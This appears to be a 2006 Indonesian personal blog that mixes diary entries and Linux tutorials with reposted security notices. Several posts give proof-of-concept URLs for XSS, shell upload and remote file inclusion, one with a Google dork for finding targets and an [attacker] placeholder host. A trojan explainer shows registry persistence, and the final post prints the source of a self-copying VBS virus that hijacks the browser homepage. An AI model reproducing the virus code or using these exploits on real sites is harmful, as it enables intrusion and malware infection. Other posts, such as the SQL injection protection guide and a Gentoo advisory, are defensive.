:: LasT_CoFFiN Was Here ::

MBR

2006-12-22T16:20:00.000-08:00

Mungkin sudah pada tau semuanya klo boot loader di linux memang sangat bagus sekali artinya apabila kita memakai dual OS misalkan dengan windows dia bisa melakukannya, nah sekarang bagaimana dengan boot loader di windows??apakah bisa melakukannya seperti di linux??
di windows juga sebenarnya bisa melakukannya, ini secara tidak sengaja saya menemukannya, caranya :
boot dulu ke linux (bisa dengan menggunakan LiveCD) kemudian ketik perintah berikut :
# dd if=/dev/hda(x) of=linux.boot bs=512 count=1
sesuaikan nilai parameter if dengan letak partisi root (/) linux (Nilai (x) diganti dengan tempat partisi root (/) berada!!))

setelah itu copykan file linux.boot ke c:\ (dicopy ke flash disk dulu, lalu boot ke win dan copykan ke c:\)

lalu di boot.ini tambahkan seperti berikut:

c:\linux.boot = "Linux"

simpan boot.ini dan reboot.

semoga bisa berjalan, tapi harusnya bisa seh!!
soalna saya udah nyobain dan berhasil!!

moga bermanfaat, aminnnn

mya sweet heart

2006-11-24T00:48:00.000-08:00

alhamdulillah kemaren tanggal 23 November 2006 pas adzan magrib, ketika itu lagi di perjalanan abis dari ciwidey (kawah putih, ciwalini, sama situ patenggang) sama temen2 kosan 5 motor 10 orang hehehe....
emang seh sebelum pergi juga gw udah ada rasa sama dia (Tita namanya) cuman dipendem aja, karna gw ga yakin dia punya perasaan yang sama dengan gw!!
nah pas pulang dari ciwidey dalam perjalanan (karna kita emang di setting satu motor sama temen muki dan yuda thx bro!!) gw pertamanya seh ngajak dia ngobrol biasa aja biar ga suntuk di jalan maklum lah ciwidey dingin banget hihihihi,,nah pas ngobrol gw serempetin aja obrolannya agar bisa menjurus ke arah perasaan gw sama dia, nah pas ada kesempatan baik dalam obrolan itu langsung aja gw nembak dia... dan ternyata saudara² hihihihi dia juga punya perasaan yang sama dengan gw, dan lebih parah lagi dia mendem perasaannya sejak dia semester 2 (skarang dia smester 5) buseeeettttt cape dah roda dua.... :P
nah pas banget di depan mesjid agung soreang (ibu kota kabupaten bandung :P ) hehehehe.. kita berdua berkomitmen untuk menjalin hubungan ketika itu pas banget tanggal 23 november 2006 pas di adzan magrib (mudah²an awal yang baik ini bisa membuat hubungan yang baik juga aminnn).
oh iyess lupa dia namanya Noor Estrelita (Tita) manajemen unpas '04 sekosan sama gw wekekekekekekkeeekekeke..... pacaran generic brooooo ga perlu banyak membutuhkan pulsa hihihihi buat OL aja pulsanya biar nambah ilmu :P karna mau ngapel tinggal ke belakang aja, kamerna belakang gw banget hihihihi... tapi walaupun se kosan ya insya allah gak akan terjadi hal² yang melanggar norma² karna gw juga sayang banget sama dia!! klo ada yang mau tau tita kaya apa nih ada potonya liat aja di :
http://geocities.com/coffinzone/Tita.JPG
jadi yaaaaa gw mohon do'a restu aja dari semuanya...mudah²an hubungan ini lancar aminn

Neng...

2006-11-15T05:33:00.000-08:00

Neng.....
Neng kmana seh??
ko ga pernah ngasi kabar..ga pernah nelpon..di telpon gak ada terusss..
mau datang langsung ga tau kosan neng..
aku ngerasa banget kehilangan neng klo udah kaya gini..
neng kapan pulang ke majalengka lagi??
biar kita bisa ktemu disana aja, maen di rumah neng..
trus kita jalan lagi kaya dulu (pas kita buka bareng)...
senenggg deh jalan sama neng..
prasaan tenang, damai, tentrammmmmm pokonya pengen deket neng terus lah..!!
Neng..... mau ga klo kita kaya dulu lagi??
A serius deh mau ngejalanin semuanya sama neng,,,
pokonya A ga mau klo neng mengatakan "You Don't Have Permission To Acces" nanti A DDOS lo neng :P

Bandung - jakarta - tangerang

2006-11-13T21:43:00.000-08:00

hari sabtu 11 November 2006 jam 8 pagi (rencana brangkat subuh jam 5 biasalah ngaret)3 motor 6 orang brangkat ke jakarta dengan tujuan ke jakarta barat tepatnya di pos pengumben komplek bulog (huaaaaa rumah saha nyaks??) heuheuhe....
berkeliling nyari bentaran trus ketemu nyampe rumah VaNNy```CeRia jam stengah 2, huaaaa ada yang seneng tuh si buta alias tata a.k.a ^kembalinya^pendekar^rajawali karna ketemu dengan pujaan hatinya huehueh disana ampe magrib, trus langsung pergi lagi ke tangerang nyampe balaraja jam 8, nginep di rumah temen di balaraja ketemu sama temen2 lama di kosan saia.
trus rencananya mau bangun subuh mau ke jakarta lagi ketemu si okta silvania lagi, eh ternyata bangunnya jam 10 :D , ya udah pergi dulu ke semua rumah temen di balaraja baru pergi ke jakarta jam 2an lah sama temen2 tapi ga ke rumahnya langsung ketemu aja di mall taman anggrek huaaaaa banyak juga yang yang caem² di sana heuheuheuhe
pulang lagi ke balaraja jam 6, mampir dulu di lippo karawaci nyampe balaraja lagi jam 8, trus istirahat bentar langsung pulang lagi ke bandung jam stengah sembilan...
nah baru aja nyampe BSD city ternyata ban belakang saya bocor sodara..kepaksa deh ngedorong yahhhh skitar 3 KM ada lah cape dah...(bukan capedah roda dua yah :P ) langsung tambal trus pergi lagi jam 11an, eh baru aja jalan skitar 5KM udah meleduk lagi tuh ban sialan!!! kepaksa deh ngedorong lagi mana di tengah hutan plus tengah malam juga kebayang deh nge dorong motor tangerang - bogor jam stengah 12 malem! akhirnya di parung nemuin juga tambal ban yang masi buka, langsung aja deh ganti ban dalam, setelah itu alhamdulillah ga ada lagi halangan paling boker doang di pom bensin cipayung bogor sama di ciherang makan mie plus bir bintang biar ga dingin wekekekeke.... dan akhirnya nyampe juga ke bandung lagi ke kosan di tamansari huehueheuh jam 6 pagi...... cuaaaapeeeee dah....!

kangen

2006-11-09T01:54:00.000-08:00

aduh kangen neh sama blog gw, dah lama ga di update...
maafin gw yah,,abisnya kmaren2 ksibukannya meningkat jadi hampir ga sempet update blog, skr dah kangen banget pengen update tapi binun mau nulis apaan.. :P

Met Idul Fitri

2006-11-06T23:01:00.000-08:00

Selamat Idul Fitri 1427H...
Taqobalallahu minna waminkum
siyamana wasiyamakum
Minal aidin walfaidzin
Mohon maaf lahir dan batin!!

Puasaaaaaaa....

2006-10-11T02:37:00.000-07:00

aduh telat neh, dah lama ga nge blog lagi....
soalnya kmaren banyak banget kesibukan, jadi yah beginilah..
ya selamat menunaikan ibadah puasa aja bagi semua umat islam, trus biar tambah khusyu puasanya maafin yah segala kesalahan saya baik yang disengaja ataupun yang tidak disengaja, yang kerasa ataupun yang ga kerasa OK deh gitu aja..!!

extras ubuntu

2006-09-07T08:06:00.000-07:00

setalah mencoba menggunakan ubuntu ternyata saya bingung bagaimana menjalankan mp3 dan multimedia yang lainnya, sempet juga seh kepikiran tuk nginstal lagi yang sebelumnya FC5, tapi untung aja pas saya beli infolinux (thx Mr. Rus) ternyata dalam DVD nya terdapat extras ubuntu.... WOW langsung saja gw mengurungkan niat untuk pindah dan nginstall yang lain...
emang seh sebelumnya gw sempet bingung gmana neh cara nginstallnya, soalnya gw kan emang bener2 baru di ubuntu...tapi untung saja lagi2 infolinux menyertakan juga tutorialnya untuk membuat repo lokal, gw langsung aja mencobanya dan alhamdulillah berhasil, dan gw juga dapat bekerja dengan ubuntu seperti biasanya...oh yess mungkin temen2 yang lain ada yang kebingungan bagaimana cara nginstallnya?? OK, beginilah kira2 yang gw lakukan (sesuai dengan petunjuk di infolinux) :
sudo apt-cdrom add (perintah ini untuk membuat repo lokal yaitu dvd infolinux)
sudo apt-get update (perintah ini untuk mengupdate source.list repo yang terletak di /etc/apt/source.list)
sudo apt-get install namapaketyangmaudiinstall (perintah ini untuk mulai menginstal paket2 yang terdapat di DVD infolinux.
contoh:
sudo apt-get install mplayer
sudo apt-get install xmms
dijamin deh kita udah bisa muter mp3, udah bisa liat film, liat klip dll deh..
emang seh di DVD infolinux belum semuanya komplit, karena memang hanya menyertakan extras yang sering di gunakan aja, tapi gw rasa udah cukup kok, tapi klo emang belum cukup gmana tuh?? ga usah takut... banyak kok yang ngejual DVD ubuntu yang lengkap (3 DVD) untuk lebih jelasnya bisa dicari di http://ubuntu.co.id
disana menyediakan DVD ubuntu yang lengkap, dan kita tinggal menghubungi salah satu distributornya aja yang terdekat dengan tempat tinggal kita (saya juga pesen :P ).
udah deh gitu aja, moga2 bisa bantu yang lainnya key??

dapper drake

2006-09-07T07:28:00.000-07:00

huaaaaa, lagi mudik kerumah ternyata temen nge sms katanya ada kiriman dari ubuntu trus minta ongkos kirim Rp. 7000 itu juga di bayarin temen dulu, saoalnya gw lum kekosan lagi.
saya mendapat kiriman 5 CD ubuntu 6.06 dan 5 CD kubuntu 6.06 (thx canonical..!!), dari sini saya ada hasrat untuk mencobanya, karena memang gw sebelumnya lum pernah nyobain ubuntu, sebelumnya gw cuma make FC 4 dan 5 trus pernah mandriva 2006 dan 2006.1 dan slackware 10.2.
pas pertama kali nyobain ubuntu aga bingung juga seh makenya, pertama karena gw terbiasa bekerja di lingkungan KDE trus memang belum terbiasa dengan apt-get nya, tapi setelah membaca manualnya dan bisa dilakukan ternyata enak juga pake ubuntu...ringan, gampang, dan ada juga support berbasis web yang bahasa indonesia di http://ubuntu.co.id
dan terus terang aja sangat membantu.
begitulah kira2 pengalaman saya menggunakan ubuntu pertama kali, dan langsung jatuh cinta :P

kehidupan

2006-09-04T02:39:00.000-07:00

uhhhhhhhhhh
kehidupan ini memang sangat tidak menentu...
kadang di atas, kadang di bawah...
ya mungkin skr saya lagi di bawah, jadi ya begitu lah
tapi tidak semestinya kita harus berkecil hati klo kita lagi di bawah
justru sebaliknya kita harus belajar ketika kita lagi di bawah
supaya nanti pas kita lagi di atas kita ga ke bawah lagi
mungkin ini lah pelajaran yang paling berharga buat saya
dan mudah2an tidak terjadi pada temen2 semuanya
cukup belajar dari pengalaman saya aja
ga usah susah2 harus mengalaminya!!

ST

2006-07-17T02:36:00.000-07:00

alhamdulillah hari sabtu 15 juli 2006 merupakan hari yang bersejarah bagi saya, karena pada hari itu saya wisuda dan mendapatkan gelar ST dari teknik industri universitas islam bandung. mudah2an saya bisa mempertanggungjawabkan gelar tersebut amiinn.

Winged Gallery v1.0

2006-06-28T00:31:00.000-07:00

Homepage:

http://winged.info/index.php?p=gallery

XSS vuln on thumb.php:

http://example.com/gallery/thumb.php?image=XSS

Fedora Core 5

2006-06-22T02:02:00.000-07:00

akhirnya setelah menimbang, mempertimbangkan, maka saya memutuskan untuk menggunakan Fedora Core 5. tetapi pas saya install ko beda yah dengan Fedora Core versi sebelumnya. Perbedaan yang mencolok adalah pada saat instalasi menjadi berat, trus yang membingungkan saya juga pada saat saya mau melakukan Add/Remove program, karena pada saat saya melakukan instalasi saya menggunakan versi personalnya (default), jadi masih sangat banyak sekali yang belum terinstall sehingga saya melakukan proses instalasi yang lain dengan menggunakan fasilitas tersebut. tetapi pas saya buka Add/Remove program tersebut ternyata apa yang terjadi??? dia mengatakan "Unable to retrieve software information" dan seterusnya. weksssssss
Apakah yum-nya error? jangan dulu su'udzon, tapi pas saya lihat daftar repository yang harus dituju oleh yum mengarah ke server-server yang ada di internet. Dengan demikian Anda harus memiliki koneksi ke internet untuk dapat menggunakan Pirut atau Pup tersebut.

terus bagaimana mengakali hal ini agar saya dapat melakukan Add-Remove software yang berasal dari CD/DVD instalasi FC5? Mudah saja, yaitu dengan melakukan editing pada repository menjadi mengarah ke lokal.

Buka file /etc/yum.repos.d/fedora-core.repo dan tambahkan entry berikut ini:

[local]

name=Fedora Core Local

baseurl=file:///media/cdrom

enabled=1

gpgcheck=1

gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora file:///etc/pki/rpm-gpg/RPM-GPG-KEY

Sesuaikan letak /media/cdrom dengan lokasi mount cdrom Anda. Setelah itu pada entri-entri yang lain, ubah nilai enabled=1 menjadi enabled=0. Buka juga seluruh file /etc/yum.repos.d/*.repo dan ubah semua enabled=1 menjadi enabled=0.

Nah, masukkan CD/DVD instalasi Anda dan sekarang Pirut sudah bisa digunakan. Kalau menggunakan CD agak repot, karena jumlahnya 5. Jadi mesti memasukkan CD yang tepat untuk mencari software tertentu.

Sebagai alternatif penggunaan Pirut dan Pup, Anda dapat menggunakan Yumex (https://sourceforge.net/projects/yumex/). yaitu yum yang sudah bersifat GUI.

XAMPP for Linux

2006-06-20T00:49:00.000-07:00

XAMPP adalah paket distribusi apache yang sangat mudah sekali di install di Linux, Solaris, Windows and Mac OS X. paket yang terdapat pada xampp adalah Apache web server, MySQL, PHP, Perl, a FTP server dan phpMyAdmin.

ikuti instruksi simpel untuk install XAMPP di Linux seperti ini :

1. login to root, then goto /opt directory

zae@LasT_CoFFiN:/opt$ su -
Password:
root@LasT_CoFFiN:~# cd /opt/

2. download sourcecodenya :

root@LasT_CoFFiN:/opt# wget http://jaist.dl.sourceforge.net/sourceforge/xampp/xampp-linux-1.5.1.tar.gz

3. ekstrax sourcecodenya :

tar -xvzf xampp-linux-1.5.1.tar.gz

(langkah tersebut akan membuat direktori lampp)
root@LasT_CoFFiN:/opt# ls -al
total 50508
drwxr-xr-x 20 root root 4096 2005-12-15 04:58 lampp
-rw-r--r-- 1 root root 6407320 2006-04-22 19:04 xampp-linux-1.5.1.tar.gz
root@LasT_CoFFiN:/opt# cd lampp/
root@LasT_CoFFiN:/opt/lampp#

4. jalankan aplikasinya (Apache, MySQL, PHP, FTP )

root@LasT_CoFFiN:~# /opt/lampp/lampp start
Starting XAMPP for Linux 1.5.0...
XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...
XAMPP: Starting ProFTPD...
XAMPP for Linux started.

5. check MySQL dan Apache :

root@LasT_CoFFiN:~# /opt/lampp/bin/mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1 to server version: 5.0.15

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

atau dapat juga dengan eksport /opt/lampp/bin/mysql ke /usr/bin/mysql jadi dapat dilakukan pada direktori tersebut untuk menjalankannya.

untuk mengecek apakah apache sudah jalan atau belum, buka browser:
http://localhost
http://localhost/phpmyadmin/

mudah kan?? :P

inalillahi wainailaihi rojiun

2006-06-19T21:49:00.000-07:00

telah meninggal dunia dosen saya yang tercinta.. Ibu Ida, Ir.
saya masih teringat bahwa dia itu dosen yang baik, selain itu juga dia salah satu koordinator kerja praktek yang juga sangat bijaksana...
mudah-mudahan arwahnya diterima di sisi Allah swt dan yang ditinggalkannya mendapatkan ketabahan amiiiinnn...

Easy CMS 0.1.2 Php Shell Upload Vulnerabilities

2006-06-19T21:28:00.000-07:00

Bug:

1)http://victim/choose_file.php

Documents

Images

Scripts

Styles

Templates

Add a directory

Add a file

2)click add a file

and upload shell.php.gif

http://victim/Repositories/shell.php.gif

Example bug video download here http://biyosecurity.be/video/easycms.rar

----------------------------------------------------------

Credit:Liz0ziM

Mail:liz0 (at) bsdmail (dot) com [email concealed]

Site:www.biyo.tk,www.biyosecurity.be

---------------------------------------------------------------

Source:

http://biyosecurity.be/bugs/easycms.txt

http://www.blogcu.com/Liz0ziM/719389/

http://liz0zim.no-ip.org/easycms.txt

MySQL DOS

2006-06-15T00:22:00.000-07:00

query semacam "select str_to_date( 1, NULL );" bisa membuat crash mysqld.

Unaffected versions:
*>= 4.1.18
*>= 5.0.19
*>= 5.1.6

untuk lebih jelasnya kunjungi :
http://bugs.mysql.com/bug.php?id=15828

DCP-Portal version 6.1 command execution

2006-06-14T02:04:00.000-07:00

dcp-portal tidak bisa mendeklarasikan root variabel kedalam file lib.php, sehingga mengijinkan attackers untuk mengeksekusi code PHP.

Code Snips:
Error occured in lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

variable $root is not declared.

Proof of Concept:
http://example/[dp_path]/library/lib.php?root=[cmd_url]

DCP-Portal version 6.1 command execution

2006-06-14T01:37:00.000-07:00

G Shout 1.3.1 Version - Remote File Include Vulnerability

2006-06-14T01:25:00.000-07:00

# Risk : High

# Class: Remote

# Script : G Shout

# Credits : SpC-x

# Thanks : The_BeKiR - Ejder - FasTBoY - ERNE - RMx

# Code :

# include("config.php");

# include("./includes/functions.inc.php");

# include ("./languages/lang-".$language.".php");

# Vulnerable :

# http://www.victim.com/G Shout/shoutbox.php?language=Command-Shell

SQL injection protection

2006-06-12T18:20:00.000-07:00

SQL injection is now one of the most common attacks in the Internet. Simply go to Yahoo! or Google and search for "SQL injection" and we can find tones of related documents.
Although the awareness of SQL injection is rising, still many people do not have very concrete ideas on how to prevent SQL injection attack.
This article is not going to tell you what SQL injection is, nor going to tell you the latest techniques in SQL injection attacks, but more important, how to prevent SQL injection correctly and in a more integrated approach.

Methods to prevent SQL Injection:
1. Input Validation - Development Phrase
2. Static query statement - Development Phrase
3. Least Privilege - Development Phrase
4. Code Verification - QA Phrase
5. Web Application Gateway - Production Phrase
6. SQL Driver Proxy - Production Phrase
7. MISC methods

Input Validation
Some programmers may think escaping apostrophe with two apostrophes (and back slash with two back slashes for MySQL) is all input validation has to do.
This is completely WRONG!
A few important steps are missed and probably the program is still vulnerable to SQL injection.

There are at least four steps we have to do for input validation:
1. Escape apostrophe with two apostrophes (and back slash with two back slashes for MySQL)
2. Make sure numeric fields really look like numbers
3. Do step 1" and 2" not only on users' direct input, but on all non-constant variables
4. Check if the inputs are within your expectation (e.g. 0 < age < 120, login id without space, etc.)

Escape inputs properly:
Escaping apostrophe with two apostrophes (or back slash with two back slashes for MySQL) usually can be done with one line of code.
However, we have to ensure that the decoding is done in the correct order.
To avoid SQL injection properly, the apostrophe-escaped input should NOT be further en/decoded by any other coding scheme.

To read more please download the presentation: http://www.owasp.org/index.php/Image:Advanced_Topics_on_SQL_Injection_Protection.ppt

Joomla Remote File Inclusion

2006-06-11T02:16:00.000-07:00

buka google, trus ketikan :
"Powered by Joomla! 1.0"

Exploit:

http://targetsite.com/[path_to_Joomla!]/includes/joomla.php?includepath=
[attacker]

Gentoo Linux Security Advisory [ERRATA UPDATE] GLSA 200604-10:02

2006-06-11T01:58:00.000-07:00

http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Severity: Normal
Title: zgv: Heap overflow
Date: April 21, 2006
Updated: June 10, 2006
Bugs: #127008
ID: 200604-10:02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Errata
======

The fixed zgv ebuild proposed in the initial version of this Security
Advisory did not address all the vulnerabilities of the zgv package.

The corrected sections appear below.

Affected packages
=================

The corrected list of affected packages is as follows:

-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 media-gfx/xzgv < 0.8-r2 >= 0.8-r2
2 media-gfx/zgv < 5.9 >= 5.9
-------------------------------------------------------------------
2 affected packages on all of their supported architectures.
-------------------------------------------------------------------

Resolution
==========

All zgv users should also upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=media-gfx/zgv-5.9"

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

http://security.gentoo.org/glsa/glsa-200604-10.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security (at) gentoo (dot) org [email concealed] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2006 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQBEixUXzKC5hMHO6rkRAriGAKCBxpDTtJ8EvMWeJhn6zQ9h3QsukgCfSLlY
ih9JaI76s/Opp/8Ih0UJpsY=
=qyA6
-----END PGP SIGNATURE-----

Yahoo! Mail XSS Vulnerability

2006-06-06T21:14:00.000-07:00

Adivisory Name : Yahoo! Mail XSS Vulnerability
Release Date : 2006.04.21
Application : Yahoo! web-based email service
Test On : Microsoft IE 6.0
Discover : Cheng Peng Su(applesoup_at_gmail.com)

Introduction:

Yahoo! Mail is one of the Internet's most popular web based email solutions.

Details:

This vulnerability is resulted from the failure of Yahoo! Mail's filtering engine
to block "expression()" syntax in a CSS attribute using a comment to break up
expression, and the comment symbol( /* */ ) must be hex encoded so that we can
bypass the filter.

An example:

Hello

the injected code inside the CSS attribute is responsible for

-Getting cookies.
-Potential web-based e-mail worm.

Vender status:

2006.04.01 Informed the vendor.
2006.04.03 The vendor confirmed the vulnerability.
2006.04.XX The vendor patched the vulnerability. ( They patched it silently )

Original advisory:

http://applesoup.googlepages.com/yahoo_mail_xss.txt

Total Quality Service (TQS)

2006-05-30T21:49:00.000-07:00

Total Quality Service (TQS) dapat didefinisikan sebagai sistem manajemen strategik dan integratif yang melibatkan semua manajer dan karyawan, serta menggunakan metode-metode kualitatif dan kuantitatif untuk memperbaiki secara berkesinambungan proses-proses organisasi, agar dapat memenuhi dan melebihi kebutuhan, keinginan, dan harapan pelanggan (stamatis, 1996).
(Sayang Gambarnya ga bisa kebuka)

Sistem TQS

STRATEGI	:	Pernyataan yang jelas dan dikomunikasikan dengan baik mengenai posisi dan sasaaran organisasi dalam hal layanan pelanggan.
SISTEM	:	Program, prosedur dan sumberdaya organisasi yang dirancang untuk mendorong, menyampaikan, dan menilai jasa / layanan yang nyaman dan berkualitas bagi pelanggan.
SUMBERDAYA MANUSIA	:	Karyawan disemua posisi yang memiliki kapasitasdan hasrat untuk responsif terhadap kebutuhan pelanggan.
TUJUAN KESELURUHAN	:	Mewujudkan kepuasan pelanggan, memberikan tanggung jawab kepada setiap orang, dan melakukan perbaikan berkesinambungan.

TQS berfokus pada lima bidang berikut :

1. Fokus pada pelanggan (customer focus)

Identifikasi pelanggan (internal, eksternal, dan / atau perantara) merupakan prioritas utama. Apabila ini sudah dilakukan, maka langkah selanjutnya adalah mengidentifikasi kebutuhan, keinginan, dan harapan mereka. Kemudian perlu dirancang sistem yang bisa memberikan jasa tertentu yang bisa memberikan jasa tertentu yang memenuhi tuntutan tersebut. Selain itu, organisasi juga wajib menjalin hubungan kemitraan dengan para pemasok kunci atas dasar win-win situation.

2. Keterlibatan total (total involvement)

Keterlibatan total mengandung arti komitmen total. Manajemen harus memberikan peluang perbaikan kualitas bagi semua karyawan dan menunjukkan kualitas kepemimpinan yang bisa memberikan inspirasi positif (lewat partisipasi aktif dan tindakan nyata) bagi organisasi yang dipimpinnya. Manajemen juga harus mendelegasikan tanggung jawab dan wewenang penyempurnaan proses kerja kepada mereka yang secara aktual melaksanakan pekerjaan yang bersangkutan. Manajemen juga dituntut untuk memberdayakan para karyawannya. Untuk itu perlu diciptakan iklim yang kondusif dan mendukung tim kerja multidisipliner dan lintas fungsional agar dapat berperan aktif dalam merancang dan memperbaiki produk, jasa, proses, sistem, dan lingkungan perusahaan.

3. Pengukuran

Dalam hal ini, kebutuhan pokoknya adalah menyusun ukuran-ukuran dasar, baik internal maupun eksternal bagi organisasi dan pelanggan.gambar dibawah ini menunjukkan sistem pengukuran yang sederhana. Unsur-unsur sistem pengukuran tersebut terdiri atas :

· Menyusun ukuran proses dan hasil,

· Mengidentifikasi output dari proses-proses kerja kritis dan mengukur kesesuaiannya dengan tuntutan pelanggan,

· Mengkoreksi penyimpangan dan meningkatkan kinerja.

4. Dukungan sistematis

Manajemen bertanggung jawab dalam mengelola proses kualitas dengan cara :

· Membangun infrastruktur kualitas yang dikaitkan dengan struktur manajemen internal.

· Menghubungkan kualitas dengan sistem manajemen yang ada, seperti :

ü Perencanaan strategik,

ü Manajemen kinerja,

ü Pengakuan, penghargaan, dan promosi karyawan,

ü Komunikasi.

5. Perbaikan berkesinambungan

Setiap orang bertanggung jawab untuk :

· Memandang semua pekerjaan sebagai suatu proses.

· Mengantisipasi kebutuhan, keinginan, dan harapan pelanggan.

· Melakukan perbaikan inkremental.

· Mengurangi waktu siklus.

· Mendorong dan dengan senang hati menerima umpan balik tanpa rasa takut dan khawatir.

Implementasi konsep Total Quality Service (TQS) memberikan beberapa manfaat utama, yaitu :

1. Meningkatnya indeks kepuasan kualitas (quality satisfaction index) yang diukur dengan ukuran apa pun.

2. Meningkatnya produktivitas dan efisiensi.

3. Meningkatnya laba.

4. Meningkatnya pangsa pasar.

5. Meningkatnya moral dan semangat karyawan.

6. Meningkatnya kepuasan pelanggan.

Apabila suatu perusahaan ingin menerapkan konsep Total Quality Service, maka sebelumnya harus melihat dulu situasi pasar yang dihadapi. Karena konsep ini cocok digunakan (akan lebih baik) apabila situasi persaingannya adalah sudah kacau. Karena apabila situasi pasarnya berbeda maka ada konsep lain yang lebih cocok untuk digunakan pada situasi pasar tersebut. Untuk lebih jelasnya, dapat dilihat pada tabel di bawah ini :

Tabel 3.1 Strategi Marketiong Plus 2000

	2C	2.5C	3C	3.5C	4C
WHAT (Type Of Information)	Product Distribution	Product Promotion	Market Customer Competitor	Niche Expectation Mix Sensitivity	Customer Value Package Life Time Value
WHY (Type Of Analysis	Internal Variance	Cost-Benefit	External Competitive	Market Response	Customer Value
HOW (Quailty Management)	OK	QC	QA	TQM	TQS

sedikit tentang trojan

2006-05-30T21:38:00.000-07:00

Apakah sebenarnya Trojan itu? Bagaimana cara kerjanya? Nah, disini kita akan sharing sedikit informasi mengenai trojan. Hal pertama yang perlu kita ketahui adalah penertian tentang trojan ini. Ada beberapa point yang perlu kita ketahui:

Ø Trojan merupakan tools yang digunakan untuk memonitoring mesin lain, dengan kata lain kamera yang tersembunyi yang ditempatkan dikomputer target.

Ø Trojan bukan hacking tools, hanya saja sebagai pelengkap dalam langkah hacking.

Ø Begitu anda masuk ke system target, maka anda dapat memasukkan trojan ini untuk kelanjutan memonitoring, mengontrol, dan mencuri password dikomputer lain.

Sejarah Dan Definisi Trojan

Asal-muasal istilah trojan hourse berasal dari Yunani dimana diceritakan para pejuang yang bersembunyi didalam kuda trojan yang terbuat dari kayu yang sangat besar. Mereka kemudian akan keluar dari kuda kayu tsb setelah dikira pergi dari daerah tsb dan menyerang ke target-target yang ditentukan. Trojan dikelompokkan kedalam jenis malware yaitu automated-program atau program yang dapat hidup sendiri. Trojan juga dianggap destruktif, hanya saja ia tidak seperti virus yang menyebarkan diri sendiri, tetapi trojan ini akan terdeteksi sebagai virus oleh anti virus.

Cara Kerja Trojan

Cara kerja trojan sebenarnya cukup simpel, hampir sama dengan aplikasi client/server. Dimana perlu adanya program diserver yang listen ke port tertentu dan kemudian kita dapat menggunakan client yang dapat connect ke port tersebut. Program server ini yang ditempatkan dimesin target, jika program ini telah aktif maka ia akan tersembunyi didalam memory dan mengubah beberapa setting mesin di komputer target. Untuk menjalankan program server ini ada beberapa cara, bisa melalui autoexec.bat, win.ini ataupun file sejenis lainnya yang dijalankan pada saat mesin dinyalakan/start. Adapun yang paling umum adalah menempatkan diregistry khususnya diwindows yang akan terlihat seperti:

[HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\Run]

“server”=”C:\\Windows\\server.exe”

Program tersebut tidak akan terlihat oleh user, program ini dapat mengambil password, setting mail, IP dan port number. Dengan adanya program server (trojan) ini yang telah aktif dikomputer target, maka anda dapat melakukan connection dengan menggunakan program remote (client) dan tentu saja anda dapat melakukan banyak hal tergantung dengan fasilitas yang ada dalam trojan tsb.

ACC

2006-05-28T20:06:00.000-07:00

Alhamdulillah setelah beberapa lama akhirnya skripsi udah nyampe acc Bab V, jadi saya tinggal menyelesaikan Bab yang terakhir (Bab VI) yaitu kesimpulan dan Saran, ya kata orang² seh Bab VI mah tinggal sambil ngedip aja beres hehehe..
Jadi sekarang saya udah bisa bernafas lega karena target saya wisuda bulan juli insya Allah bisa tercapai, mudah²an emang bener² tercapai..!!waduh ga kerasa juga yah kuliah udah hampir beres nih, bentar lagi saya udah dapat gelar ST neh hehehe...
Ya mudah²an saya bisa mempertanggung jawabkan gelar tersebut lah! Amiiiiin..!

contoh virus VBS

2006-05-23T23:23:00.000-07:00

Kemampuan virus VBS ini adalah bekerja autorun (berjalan secara otomatis) karena berada dalam folder startup Personal. Menggunakan ekstensi ganda, yaitu jika dalam folder yang sama ada file berekstensi jpg maupun file txt maka script ini juga akan membuat file vbs dengan nama file yang sama.
Sebagai contoh, jika ada file Tutorial.txt maka script vbs juga akan membuat file Tutorial.txt.vbs yang isinya adalah script itu sendiri. Jika di dalam folder tersebut terdapat subfolder, maka file ini akan mengkopi dirinya ke dalam sub folder tersebut dengan nama file Readme.txt.vbs.
Ada 3 lokasi utama yang akan dimasuki script ini, yaitu di folder Startup, Desktop dan My Documents Personal. Selain itu, program ini juga akan merubah alamat default website dari program Internet Explorer (jadi mirip adware ya), sehingga saat kita pertama kali membuka program Internet Explorer maka alamat website yang dibuka secara otomatis pertama kali adalah www.jaelani.blogspot.com.
Jadi sekalipun kita merubah alamat default dari Internet Explorer melalui Internet Option, namun ketika komputer dihidupkan kembali dan script VBS yang ada di folder Startup bekerja, maka alamat default dari Internet Explorer akan kembali menjadi www.jaelani.blogspot.com (inilah cara kerja program spyware yang menjengkelkan).
Isi script Vbs tersebut adalah sebagai berikut (nyontek dari bukunya jasakom) :

1 On error resume next
2 Dim WshShell, FSO, Induk, vPath, target, Lokasi
3 Set WshShell = CreateObject(”Wscript.Shell”)
4 Set FSO = CreateObject(”Scripting.FileSystemObject”)
5 Set Induk = FSO.GetFile(Wscript.ScriptFullName)
6
7 WshShell.RegWrite ”HKCU\Software\Microsoft\Internet Explorer\MainStart Page”,”http://www.jaelani.blogspot.com/”
8
9 Lokasi = WshShell.SpecialFolders(”Startup”)
10 Induk.Copy (Lokasi & ”\Adobe.vbs”)
11
12 Lokasi = WshShell.SpecialFolders(”Desktop”)
13 Induk.Copy (Lokasi & ”\Readme.vbs”)
14 InfectFolder Lokasi
15
16 Lokasi = WshShell.SpecialFolders(”MyDocuments”)
17 Induk.Copy (Lokasi & ”\Gambar.vbs”)
